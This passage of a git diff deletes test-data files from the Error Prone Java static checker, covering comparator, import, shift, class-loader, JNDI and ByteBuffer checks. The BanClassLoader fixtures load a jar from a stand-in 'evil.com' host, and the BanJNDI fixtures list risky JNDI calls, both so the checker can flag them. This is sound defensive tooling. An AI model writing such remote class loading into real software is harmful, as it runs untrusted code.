compareTo(BoxedComparableTest other) { - return value.compareTo(other.value); - } - } - - static final Comparator COMPARATOR_UNBOXED_INT_CAST = - new Comparator() { - public int compare(Number n1, Number n2) { - return Long.compare(n1.longValue(), n2.longValue()); - } - }; - - static final Comparator COMPARATOR_BOXED_INT_CAST = - new Comparator() { - public int compare(Long n1, Long n2) { - return n1.compareTo(n2); - } - }; - - // Don't match non-Comparable or Comparator cases. - static class NonComparableTest { - private final long value = 0; - - public int compareTo(ComparableTest other) { - return (int) (value - other.value); - } - } - - static final Object COMPARATOR_LIKE_INT_CAST = - new Object() { - public int compare(Long n1, Long n2) { - return (int) (n1 - n2); - } - }; - - // Narrowing conversions that don't follow the long -> int pattern. - static final Comparator COMPARATOR_UNBOXED_NON_PATTERN_LONG_CAST = - new Comparator() { - // To match the Comparator API. - @Override - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - - public short compare(int n1, int n2) { - return (short) (n1 - n2); - } - - public byte compare(long n1, long n2) { - return (byte) (n1 - n2); - } - }; - - // Not narrowing conversions. - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_LONG_CAST = - new Comparator() { - // To match the Comparator API. - @Override - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - - public long compare(long n1, long n2) { - return (long) (n1 - n2); - } - }; - - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_INT_CAST = - new Comparator() { - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - }; - - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_SHORT_CAST = - new Comparator() { - // To match the Comparator API. - @Override - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - - public short compare(short n1, short n2) { - return (short) (n1 - n2); - } - }; - - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_BYTE_CAST = - new Comparator() { - // To match the Comparator API. - @Override - public int compare(Number n1, Number n2) { - return (int) (n1.intValue() - n2.intValue()); - } - - public byte compare(byte n1, byte n2) { - return (byte) (n1 - n2); - } - }; - - // Not signed conversions. - static final Comparator COMPARATOR_UNBOXED_NON_NARROW_CHAR_CAST = - new Comparator() { - @Override - public int compare(Number n1, Number n2) { - return (char) (n1.shortValue() - n2.shortValue()); - } - - public char compare(char n1, char n2) { - return (char) (n1 - n2); - } - - public char compare(byte n1, byte n2) { - return (char) (n1 - n2); - } - }; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparablePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparablePositiveCases.java deleted file mode 100644 index 6ff360bf3e7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparablePositiveCases.java +++ /dev/null @@ -1,67 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.File; -import java.util.Comparator; - -/** - * @author irogers@google.com (Ian Rogers) - */ -public class BadComparablePositiveCases { - static class ComparableTest implements Comparable { - private final long value = 0; - - public int compareTo(ComparableTest other) { - // BUG: Diagnostic contains: return Long.compare(value, other.value); - return (int) (value - other.value); - } - } - - static class BoxedComparableTest implements Comparable { - private final Long value = Long.valueOf(0); - - public int compareTo(BoxedComparableTest other) { - // BUG: Diagnostic contains: return value.compareTo(other.value); - return (int) (value - other.value); - } - } - - static final Comparator COMPARATOR_UNBOXED_INT_CAST = - new Comparator() { - public int compare(Number n1, Number n2) { - // BUG: Diagnostic contains: return Long.compare(n1.longValue(), n2.longValue()) - return (int) (n1.longValue() - n2.longValue()); - } - }; - - static final Comparator COMPARATOR_BOXED_INT_CAST = - new Comparator() { - public int compare(Long n1, Long n2) { - // BUG: Diagnostic contains: return n1.compareTo(n2) - return (int) (n1 - n2); - } - }; - - static final Comparator COMPARATOR_FILE_INT_CAST = - new Comparator() { - public int compare(File lhs, File rhs) { - // BUG: Diagnostic contains: return Long.compare(rhs.lastModified(), lhs.lastModified()) - return (int) (rhs.lastModified() - lhs.lastModified()); - } - }; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportNegativeCases.java deleted file mode 100644 index 2d74dbf355f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportNegativeCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; - -/** - * Tests for {@link BadImport}. - * - * @author awturner@google.com (Andy Turner) - */ -public class BadImportNegativeCases { - public void qualified() { - ImmutableList.Builder qualified; - com.google.common.collect.ImmutableList.Builder fullyQualified; - ImmutableList.Builder raw; - - new ImmutableList.Builder(); - } - - static class Nested { - static class Builder {} - - void useNestedBuilder() { - new Builder(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases.java deleted file mode 100644 index 1efa8f73def..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableList.Builder; -import org.jspecify.annotations.Nullable; - -/** - * Tests for {@link BadImport}. - * - * @author awturner@google.com (Andy Turner) - */ -class BadImportPositiveCases { - public void variableDeclarations() { - // Only the first match is reported; but all occurrences are fixed. - // BUG: Diagnostic contains: ImmutableList.Builder - Builder qualified; - Builder raw; - } - - public void variableDeclarationsNestedGenerics() { - Builder> builder1; - Builder builder1Raw; - ImmutableList.Builder> builder2; - ImmutableList.Builder builder2Raw; - } - - @Nullable - Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotationMethod() { - return null; - } - - public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { - - @Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; - - @Nullable Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotation2; - } - - public void newClass() { - new Builder(); - new Builder>(); - } - - Builder returnGenericExplicit() { - return new Builder(); - } - - Builder returnGenericDiamond() { - return new Builder<>(); - } - - Builder returnRaw() { - return new Builder(); - } - - void classLiteral() { - System.out.println(Builder.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases_expected.java deleted file mode 100644 index d45e21a541a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases_expected.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import org.jspecify.annotations.Nullable; - -/** - * Tests for {@link BadImport}. - * - * @author awturner@google.com (Andy Turner) - */ -class BadImportPositiveCases { - public void variableDeclarations() { - ImmutableList.Builder qualified; - ImmutableList.Builder raw; - } - - public void variableDeclarationsNestedGenerics() { - ImmutableList.Builder> builder1; - ImmutableList.Builder builder1Raw; - ImmutableList.Builder> builder2; - ImmutableList.Builder builder2Raw; - } - - ImmutableList.@Nullable Builder> - parameterizedWithTypeUseAnnotationMethod() { - return null; - } - - public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { - - ImmutableList.@Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; - - ImmutableList.@Nullable Builder> - parameterizedWithTypeUseAnnotation2; - } - - public void newClass() { - new ImmutableList.Builder(); - new ImmutableList.Builder>(); - } - - ImmutableList.Builder returnGenericExplicit() { - return new ImmutableList.Builder(); - } - - ImmutableList.Builder returnGenericDiamond() { - return new ImmutableList.Builder<>(); - } - - ImmutableList.Builder returnRaw() { - return new ImmutableList.Builder(); - } - - void classLiteral() { - System.out.println(ImmutableList.Builder.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadShiftAmountNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadShiftAmountNegativeCases.java deleted file mode 100644 index c1e86333027..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadShiftAmountNegativeCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author Bill Pugh (bill.pugh@gmail.com) - */ -public class BadShiftAmountNegativeCases { - - public void foo() { - int x = 0; - long result = 0; - - result += (long) x >> 3; - result += x << 3; - result += x >>> 3; - result += (long) (x & 0xff) >> 40; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java deleted file mode 100644 index 849083ccc24..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.security.SecureClassLoader; - -class BanClassLoaderPositiveCases { - /** OK to extend SecureClassLoader */ - class AnotherSecureClassLoader extends SecureClassLoader {} - - /** OK to call loadClass if it's not on RMIClassLoader */ - public final Class overrideClassLoader() throws ClassNotFoundException { - SecureClassLoader loader = new AnotherSecureClassLoader(); - return loader.loadClass("BadClass"); - } - - /** OK to define loadClass */ - private class NotClassLoader { - protected void loadClass() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java deleted file mode 100644 index a895af2e9b9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static java.rmi.server.RMIClassLoader.loadClass; - -import java.lang.invoke.MethodHandles; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; - -class BanClassLoaderPositiveCases { - /** Override loadClass with an insecure implementation. */ - // BUG: Diagnostic contains: BanClassLoader - class InsecureClassLoader extends URLClassLoader { - public InsecureClassLoader() { - super(new URL[0]); - } - - @Override - protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - try { - addURL(new URL("jar:https://evil.com/bad.jar")); - } catch (MalformedURLException e) { - } - return findClass(name); - } - } - - /** Calling static methods in java.rmi.server.RMIClassLoader. */ - public static final Class loadRMI() throws ClassNotFoundException, MalformedURLException { - // BUG: Diagnostic contains: BanClassLoader - return loadClass("evil.com", "BadClass"); - } - - /** Calling constructor of java.net.URLClassLoader. */ - public ClassLoader loadFromURL() throws MalformedURLException { - // BUG: Diagnostic contains: BanClassLoader - URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")}); - return loader; - } - - /** Calling methods of nested class. */ - public static final Class methodHandlesDefineClass(byte[] bytes) - throws IllegalAccessException { - // BUG: Diagnostic contains: BanClassLoader - return MethodHandles.lookup().defineClass(bytes); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java deleted file mode 100644 index 055fafcf882..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static java.rmi.server.RMIClassLoader.loadClass; - -import com.google.security.annotations.SuppressBanClassLoaderCompletedSecurityReview; -import java.lang.invoke.MethodHandles; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; - -class BanClassLoaderPositiveCases { - /** Override loadClass with an insecure implementation. */ - // BUG: Diagnostic contains: BanClassLoader - @SuppressBanClassLoaderCompletedSecurityReview - class InsecureClassLoader extends URLClassLoader { - public InsecureClassLoader() { - super(new URL[0]); - } - - @Override - protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - try { - addURL(new URL("jar:https://evil.com/bad.jar")); - } catch (MalformedURLException e) { - } - return findClass(name); - } - } - - /** Calling static methods in java.rmi.server.RMIClassLoader. */ - @SuppressBanClassLoaderCompletedSecurityReview - public static final Class loadRMI() throws ClassNotFoundException, MalformedURLException { - // BUG: Diagnostic contains: BanClassLoader - return loadClass("evil.com", "BadClass"); - } - - /** Calling constructor of java.net.URLClassLoader. */ - @SuppressBanClassLoaderCompletedSecurityReview - public ClassLoader loadFromURL() throws MalformedURLException { - // BUG: Diagnostic contains: BanClassLoader - URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")}); - return loader; - } - - /** Calling methods of nested class. */ - @SuppressBanClassLoaderCompletedSecurityReview - public static final Class methodHandlesDefineClass(byte[] bytes) - throws IllegalAccessException { - // BUG: Diagnostic contains: BanClassLoader - return MethodHandles.lookup().defineClass(bytes); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDINegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDINegativeCases.java deleted file mode 100644 index fd5455c3c85..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDINegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import javax.naming.Name; -import javax.naming.NamingException; -import javax.naming.directory.DirContext; - -/** - * {@link BanJNDITest} - * - * @author tshadwell@google.com (Thomas Shadwell) - */ -class BanJNDIPositiveCases { - private static DirContext FakeDirContext = ((DirContext) new Object()); - - // Check we didn't ban all of Context by accident. - private void callsList() throws NamingException { - FakeDirContext.list(((Name) new Object())); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases.java deleted file mode 100644 index 23c511d5e42..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases.java +++ /dev/null @@ -1,149 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; -import java.util.Hashtable; -import javax.management.remote.JMXConnector; -import javax.management.remote.JMXConnectorFactory; -import javax.management.remote.JMXServiceURL; -import javax.management.remote.rmi.RMIConnector; -import javax.naming.Context; -import javax.naming.InitialContext; -import javax.naming.Name; -import javax.naming.NamingException; -import javax.naming.directory.Attributes; -import javax.naming.directory.DirContext; -import javax.sql.rowset.spi.SyncFactory; -import javax.sql.rowset.spi.SyncFactoryException; - -/** - * {@link BanJNDITest} - * - * @author tshadwell@google.com (Thomas Shadwell) - */ -class BanJNDIPositiveCases { - private static DirContext FakeDirContext = ((DirContext) new Object()); - - private void callsModifyAttributes() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.modifyAttributes(((Name) new Object()), 0, ((Attributes) new Object())); - } - - private void callsGetAttributes() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getAttributes(((Name) new Object())); - } - - private void callsSearch() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.search(((Name) new Object()), ((Attributes) new Object())); - } - - private void callsGetSchema() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getSchema(((Name) new Object())); - } - - private void callsGetSchemaClassDefinition() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getSchemaClassDefinition(((Name) new Object())); - } - - private static Context FakeContext = ((Context) new Object()); - - private void callsLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.lookup("hello"); - } - - private void callsSubclassLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.lookup("hello"); - } - - private void callsBind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.bind(((Name) new Object()), new Object()); - } - - private void subclassCallsBind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.bind(((Name) new Object()), new Object()); - } - - private void callsRebind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.rebind(((Name) new Object()), new Object()); - } - - private void subclassCallsRebind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.rebind(((Name) new Object()), new Object()); - } - - private void callsCreateSubcontext() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.createSubcontext((Name) new Object()); - } - - private void subclassCallsCreateSubcontext() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.createSubcontext((Name) new Object()); - } - - RMIConnector fakeRMIConnector = ((RMIConnector) new Object()); - - private void callsRMIConnect() throws IOException { - // BUG: Diagnostic contains: BanJNDI - fakeRMIConnector.connect(); - } - - private void callsEnumerateBindings() throws SyncFactoryException { - // BUG: Diagnostic contains: BanJNDI - SyncFactory.getInstance("fear is the little-death"); - } - - // unable to load javax.jdo for testing (must be some super optional pkg?) - - private void callsJMXConnectorFactoryConnect() throws IOException { - // BUG: Diagnostic contains: BanJNDI - JMXConnectorFactory.connect(((JMXServiceURL) new Object())); - } - - private void callsDoLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - InitialContext.doLookup(((Name) new Object())); - } - - private static boolean callToJMXConnectorFactoryConnect() - throws java.net.MalformedURLException, java.io.IOException { - JMXConnector connector = - // BUG: Diagnostic contains: BanJNDI - JMXConnectorFactory.connect( - new JMXServiceURL("service:jmx:rmi:///jndi/rmi:// fake data 123 ")); - connector.connect(); - - return false; - } - - private Object subclassesJavaNamingcontext() throws NamingException { - InitialContext c = new InitialContext(new Hashtable(0)); - // BUG: Diagnostic contains: BanJNDI - return c.lookup("hello"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases_expected.java deleted file mode 100644 index a08ada492b1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases_expected.java +++ /dev/null @@ -1,169 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.security.annotations.SuppressBanJNDICompletedSecurityReview; -import java.io.IOException; -import java.util.Hashtable; -import javax.management.remote.JMXConnector; -import javax.management.remote.JMXConnectorFactory; -import javax.management.remote.JMXServiceURL; -import javax.management.remote.rmi.RMIConnector; -import javax.naming.Context; -import javax.naming.InitialContext; -import javax.naming.Name; -import javax.naming.NamingException; -import javax.naming.directory.Attributes; -import javax.naming.directory.DirContext; -import javax.sql.rowset.spi.SyncFactory; -import javax.sql.rowset.spi.SyncFactoryException; - -/** - * {@link BanJNDITest} - * - * @author tshadwell@google.com (Thomas Shadwell) - */ -class BanJNDIPositiveCases { - private static DirContext FakeDirContext = ((DirContext) new Object()); - - @SuppressBanJNDICompletedSecurityReview - private void callsModifyAttributes() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.modifyAttributes(((Name) new Object()), 0, ((Attributes) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsGetAttributes() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getAttributes(((Name) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsSearch() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.search(((Name) new Object()), ((Attributes) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsGetSchema() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getSchema(((Name) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsGetSchemaClassDefinition() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getSchemaClassDefinition(((Name) new Object())); - } - - private static Context FakeContext = ((Context) new Object()); - - @SuppressBanJNDICompletedSecurityReview - private void callsLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.lookup("hello"); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsSubclassLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.lookup("hello"); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsBind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.bind(((Name) new Object()), new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void subclassCallsBind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.bind(((Name) new Object()), new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsRebind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.rebind(((Name) new Object()), new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void subclassCallsRebind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.rebind(((Name) new Object()), new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsCreateSubcontext() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.createSubcontext((Name) new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void subclassCallsCreateSubcontext() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.createSubcontext((Name) new Object()); - } - - RMIConnector fakeRMIConnector = ((RMIConnector) new Object()); - - @SuppressBanJNDICompletedSecurityReview - private void callsRMIConnect() throws IOException { - // BUG: Diagnostic contains: BanJNDI - fakeRMIConnector.connect(); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsEnumerateBindings() throws SyncFactoryException { - // BUG: Diagnostic contains: BanJNDI - SyncFactory.getInstance("fear is the little-death"); - } - - // unable to load javax.jdo for testing (must be some super optional pkg?) - - @SuppressBanJNDICompletedSecurityReview - private void callsJMXConnectorFactoryConnect() throws IOException { - // BUG: Diagnostic contains: BanJNDI - JMXConnectorFactory.connect(((JMXServiceURL) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsDoLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - InitialContext.doLookup(((Name) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private static boolean callToJMXConnectorFactoryConnect() - throws java.net.MalformedURLException, java.io.IOException { - JMXConnector connector = - // BUG: Diagnostic contains: BanJNDI - JMXConnectorFactory.connect( - new JMXServiceURL("service:jmx:rmi:///jndi/rmi:// fake data 123 ")); - connector.connect(); - - return false; - } - - @SuppressBanJNDICompletedSecurityReview - private Object subclassesJavaNamingcontext() throws NamingException { - InitialContext c = new InitialContext(new Hashtable(0)); - // BUG: Diagnostic contains: BanJNDI - return c.lookup("hello"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayNegativeCases.java deleted file mode 100644 index b7e47f6072e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayNegativeCases.java +++ /dev/null @@ -1,151 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest; -import java.nio.ByteBuffer; -import java.util.function.Function; - -/** Negative cases for {@link ByteBufferBackingArrayTest}. */ -public class ByteBufferBackingArrayNegativeCases { - - void noArrayCall_isNotFlagged() { - ByteBuffer buffer = null; - buffer.position(); - } - - void array_precededByArrayOffset_isNotFlagged() { - ByteBuffer buffer = null; - buffer.arrayOffset(); - buffer.array(); - } - - void array_precededByArrayOffset_onOuterScope_isNotFlagged() { - ByteBuffer buffer = null; - buffer.arrayOffset(); - if (true) { - while (true) { - buffer.array(); - } - } - } - - void array_precededByByteBufferWrap_isNotFlagged() { - ByteBuffer buffer = ByteBuffer.wrap(new byte[] {1}); - buffer.array(); - } - - void array_precededByByteBufferAllocate_isNotFlagged() { - ByteBuffer buffer = ByteBuffer.allocate(1); - buffer.array(); - } - - // Ideally, this case should be flagged though. - void array_followedByByteBufferArrayOffset_isNotFlagged() { - ByteBuffer buffer = null; - buffer.array(); - buffer.arrayOffset(); - } - - // Ideally, this case should be flagged though. - void array_followedByArrayOffset_inExpression_isNotFlagged() { - ByteBuffer buffer = null; - byte[] outBytes; - int outOffset; - int outPos; - if (buffer.hasArray()) { - outBytes = buffer.array(); - outPos = outOffset = buffer.arrayOffset() + buffer.position(); - } - } - - void 